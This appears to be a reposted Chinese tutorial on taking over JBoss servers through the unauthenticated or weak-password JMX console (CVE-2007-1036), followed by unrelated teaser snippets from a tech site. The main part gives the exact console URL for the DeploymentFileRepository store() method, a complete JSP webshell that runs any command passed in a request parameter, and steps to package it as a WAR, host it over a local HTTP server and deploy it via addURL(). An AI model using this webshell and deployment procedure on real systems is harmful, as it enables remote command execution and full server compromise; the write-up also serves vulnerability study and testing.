Jboss通过未授权/弱口令进入后台上传webshell

目录

Jboss介绍

CVE-2007-1036

漏洞产生的原因

利用原理

访问页面

写入webshell

未授权访问后上传webshell


这一篇学习通过参考大佬的好文章学习Jboss的弱口令/未授权漏洞进入后台Getshell

Jboss介绍

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

CVE-2007-1036

漏洞产生的原因

CVE-2007-1036即JMX Console HtmlAdaptor Getshell,因为JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能

利用原理

该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中arg0传入的是部署的war包名字,arg1传入的是上传的文件的文件名,arg2传入的是上传文件的文件格式,arg3传入的是上传文件中的内容。

通过控制这四个参数即可上传shell,控制整台服务器,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。

访问页面

直接访问如下url:

http://192.168.159.200:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository

可以看到直接访问成功了

也可以利用弱口令进入后台,如果需要口令验证,并且网站存在弱口令,我们就使用弱口令进入到对应的目录中实现同样的效果

写入webshell

进入页面后,找到如下位置:

这里的p1为部署包的名字,p2为脚本名字,p3为脚本后缀,p4为脚本内容即我们需要写入的shell

 jsp木马:

<%@ page import="java.io.*" %> <% String cmd =request.getParameter("cmd"); String output = ""; if(cmd null) {String s = null; try { Process p =
Runtime.getRuntime().exec(cmd);BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream())); while((s = sI.readLine()) null) { output += s +"\r\n"; } } catch(IOException e) {e.printStackTrace(); } } out.println(output);%>

查看是否写入:
 

可以看到已经成功写入了,后面就可以使用webshell管理工具进行连接了

未授权访问后上传webshell

默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患

然后我们找到flavor字符串,这一行就是jboss远程部署war包所在的位置

点进去之后找到addURL()这个位置

准备一个jsp木马,并且打包为war:

jar -cvf webshell.war  webshell.jsp

使用python启动一个http服务  

python -m http.server

访问一下能够访问到

再回到addURL()的地方,输入war文件的地址,然后点击inmoke部署

可以看到已经部署成功了

返回之后可以看到部署的物理位置

点击应用更改

访问一下可以访问到,证明已经上传成功

然后使用webshell管理工具连接即可

 参考文章:

未授权访问:JBoss未授权访问漏洞-CSDN博客

干货|最全的Jboss漏洞复现笔记-腾讯云开发者社区-腾讯云 (tencent.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/36033.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python使用Pybind11扩展c++

Pybind11 是一个轻量级的C 库&#xff0c;旨在无缝地将C代码绑定到Python。它简化了C 函数、类和数据结构在Python中使用的过程&#xff0c;使得开发人员可以方便地在Python中调用C 代码&#xff0c;同时保留两者的性能优势下面将详细介绍Pybind11的基本概念、安装方法、用法以…

《梦醒蝶飞:释放Excel函数与公式的力量》6.2 TIME函数

6.2 TIME函数 1&#xff09; TIME函数概述 TIME函数是Excel中用于根据指定的小时、分钟和秒返回时间值的内置函数。这个时间值是一个从0&#xff08;12:00 AM&#xff09;开始的序列数&#xff0c;其中一天的每个小时等于1/24&#xff0c;每分钟等于1/(24*60)&#xff0c;每秒…

MySQL中的TRUNCATE命令是否直接删除文件

1. TRUNCATE命令的基本原理 命令格式&#xff1a;TRUNCATE TABLE table_name;功能&#xff1a;TRUNCATE命令用于删除表中的所有数据&#xff0c;但保留表结构和定义&#xff08;如列、索引、约束等&#xff09;。 2. TRUNCATE命令的实现机制 数据删除&#xff1a;TRUNCATE命…

【系统架构设计师】六、信息系统基础知识(电子政务|企业信息化|电子商务|信息化战略体系)

目录 一、电子政务EG 1.1 电子政务的内容 1.2 电子政务的主要特征 二、企业信息化EI 2.1 企业信息化实现 2.2 企业信息化方法 三、电子商务EC 四、信息化战略体系 五、客户关系CRM 5.1 CRM的功能 5.2 CRM解决方案具备的要素 5.3 CRM的实现过程 六、供应链管理SCM 七…

tensorflow神经网络

训练一个图像识别模型&#xff0c;使用TensorFlow&#xff0c;需要以下步骤。 1. 安装所需的库 首先&#xff0c;确保安装了TensorFlow和其他所需的库。 pip install tensorflow numpy matplotlib2. 数据准备 需要收集和准备训练数据。每个类别应有足够多的样本图像。假设有…

Flutter TIM 项目实现

目录 1. 服务端API 1.1 生成签名 1.1.1 步骤 第一步:获取签名算法 第二步:查看函数输入输出 第三步:nodejs 实现功能 1.1.2 验证签名 小结 1.2 Rest API 调用 1.2.1 签名介绍 1.2.2 腾讯接口 生成管理员 administrator 签名 包装一个 post 请求函数 查询账号 …

2734. 执行子串操作后的字典序最小字符串(Rust单百算法)

题目 给你一个仅由小写英文字母组成的字符串 s 。在一步操作中&#xff0c;你可以完成以下行为&#xff1a; 选择 s 的任一非空子字符串&#xff0c;可能是整个字符串&#xff0c;接着将字符串中的每一个字符替换为英文字母表中的前一个字符。例如&#xff0c;‘b’ 用 ‘a’…

人机融合的分布式

分布式系统是指通过多个互相连接但独立运行的节点共同完成任务的计算架构。分布式系统的拓展与生长是指通过增加更多独立节点来提升系统整体性能和容量&#xff0c;同时保持各节点间的协调与协作。 人机融合的分布式系统是一种强调人类和机器之间协同工作的计算架构&#xff0c…

001 线性查找(lua)

文章目录 迭代器主程序 迭代器 -- 定义一个名为 linearSearch 的函数&#xff0c;它接受两个参数&#xff1a;data&#xff08;一个数组&#xff09;和 target&#xff08;一个目标值&#xff09; function linearSearch(data, target) -- 使用 for 循环遍历数组 data&…

【高考志愿】通信工程

目录 一、专业概述 二、主要研究领域 三、就业前景与方向 四、专业难度与学习挑战 五、国内知名高校推荐 高考志愿选择通信工程专业是一个深思熟虑后极具前瞻性的决策&#xff0c;这一专业不仅拥有广泛的就业前景和深厚的学科基础&#xff0c;而且能够为学生提供丰富的知识…

反向代理服务器和正向代理服务器的介绍与区别

反向代理服务器之所以被称为“反向代理”&#xff0c;是因为它与传统的“正向代理”&#xff08;或前向代理&#xff09;服务器相对应。为了更好地理解这个概念&#xff0c;需要了解正向代理和反向代理的区别。 反向代理服务器和正向代理服务器的介绍与区别 一、正向代理服务器…

华为OD机试 - 石头剪刀布游戏(Java 2024 D卷 200分)

华为OD机试 2024D卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;D卷C卷A卷B卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测…

酷开科技丨酷开系统大屏购物 打造沉浸式购物体验

在这个信息化的时代&#xff0c;购物已经不仅仅局限于传统的线下店铺&#xff0c;线上购物逐渐成为了我们生活中重要的一部分。而大屏购物作为线上购物的一种形式&#xff0c;更是凭借其独特的优势和实用的技巧&#xff0c;成为了消费者们的新宠。随着科技的进步和消费者需求的…

如何在Java中实现安全编码

如何在Java中实现安全编码 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在当今数字化和网络化的时代&#xff0c;安全编码成为软件开发中至关重要的一环。特…

vue3中使用keepalive和component

vue3和vue2中有些差异&#xff0c;直接上代码&#xff1a; <KeepAlive include"aComponent"><component :iscompList[active]goDetail"goDetail"back"back" /></KeepAlive> <script setup lang"ts"> /*** 将…

lumbda常用操作

文章目录 lumbda的常用操作将List<String>转List<Integer>filter 过滤max 和min将List<Object>转为Map将List<Object>转为Map&#xff08;重复key&#xff09;将List<Object>转为Map&#xff08;指定Map类型&#xff09; lumbda的常用操作 将Li…

解释一下泛型擦除的概念,并讨论它对 Java 类型系统的影响

泛型是Java语言中一个非常重要的特性&#xff0c;它允许你在类、接口和方法中使用类型参数&#xff0c;从而使得代码更加通用、灵活和类型安全。 然而&#xff0c;在Java中&#xff0c;泛型的实现方式有一个特殊之处&#xff0c;被称为“类型擦除”&#xff08;Type Erasure&a…

读AI新生:破解人机共存密码笔记13有益机器

1. 标准模型 1.1. 我们能控制一个从外太空来的超级智能实体的概率几乎为零 1.2. 随着根据标准模型设计的机器变得更加智能&#xff0c;以及它们的行动范围遍及全球&#xff0c;关闭机器这种方法越来越不可行 1.2.1. 机器将会追求它们自己的目标&#xff0c;无论目标错得多么…

软件开发公司如何招开发工程师?

过去几年,各大公司的数字化举措都翻了一番。到 2026 年,全球数字化转型支出预计 将达到 3.4 万亿美元。 疫情引发的危机、激烈的竞争以及未知的消费者行为模式都让企业陷入困境。为了应对不断变化的形势,企业纷纷转向技术。 其中,移动应用是数字化的领军者之一。2022 年,…

《大道平渊》· 拾伍 —— 为什么做生意的人都欲望比较充足?

《大道平渊》 拾伍 " 欲壑难填&#xff0c;勇往直前。" 为什么做生意的人都欲望比较充足&#xff1f;因为没有人给他们发工资。 在自由市场上&#xff0c;对手渠道、组织运行效率、商业化…… 随时一波小浪&#xff0c;都能把你干下场。 . 我们毕竟不是真正的 食…